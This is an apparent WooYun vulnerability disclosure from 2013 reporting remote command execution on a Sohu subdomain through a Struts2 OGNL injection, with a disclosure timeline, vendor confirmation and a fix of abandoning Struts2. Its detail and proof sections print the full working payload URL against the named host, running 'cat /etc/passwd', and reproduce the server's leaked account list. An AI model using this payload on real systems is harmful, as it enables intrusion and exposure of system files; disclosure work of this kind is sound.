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缺陷编号:wooyun-2013-026065

漏洞标题:sohu某分站命令执行

相关厂商:搜狐

漏洞作者: goderci

提交时间:2013-06-16 14:22

修复时间:2013-07-31 14:23

公开时间:2013-07-31 14:23

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2013-06-16: 细节已通知厂商并且等待厂商处理中
2013-06-16: 厂商已经确认,细节仅向厂商公开
2013-06-26: 细节向核心白帽子及相关领域专家公开
2013-07-06: 细节向普通白帽子公开
2013-07-16: 细节向实习白帽子公开
2013-07-31: 细节向公众公开

简要描述:

详细说明:

http://count.vrs.sohu.com/count/query_Album.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43mycmd\75\'cat\40\u002fetc\u002fpasswd\'')(d))&(h)(('\43myret\[email protected]@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\[email protected]@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))

漏洞证明:

http://count.vrs.sohu.com/count/query_Album.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43mycmd\75\'cat\40\u002fetc\u002fpasswd\'')(d))&(h)(('\43myret\[email protected]@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\[email protected]@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))


root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin avahi:x:70:70:Avahi daemon:/:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin zhengwei:x:500:500::/home/zhengwei:/bin/bash zabbix:x:501:501::/home/zabbix:/bin/bash var count=null;

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修复方案:

弃用struts2

版权声明:转载请注明来源 goderci@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-06-16 18:53

厂商回复:

感谢支持。

最新状态:

暂无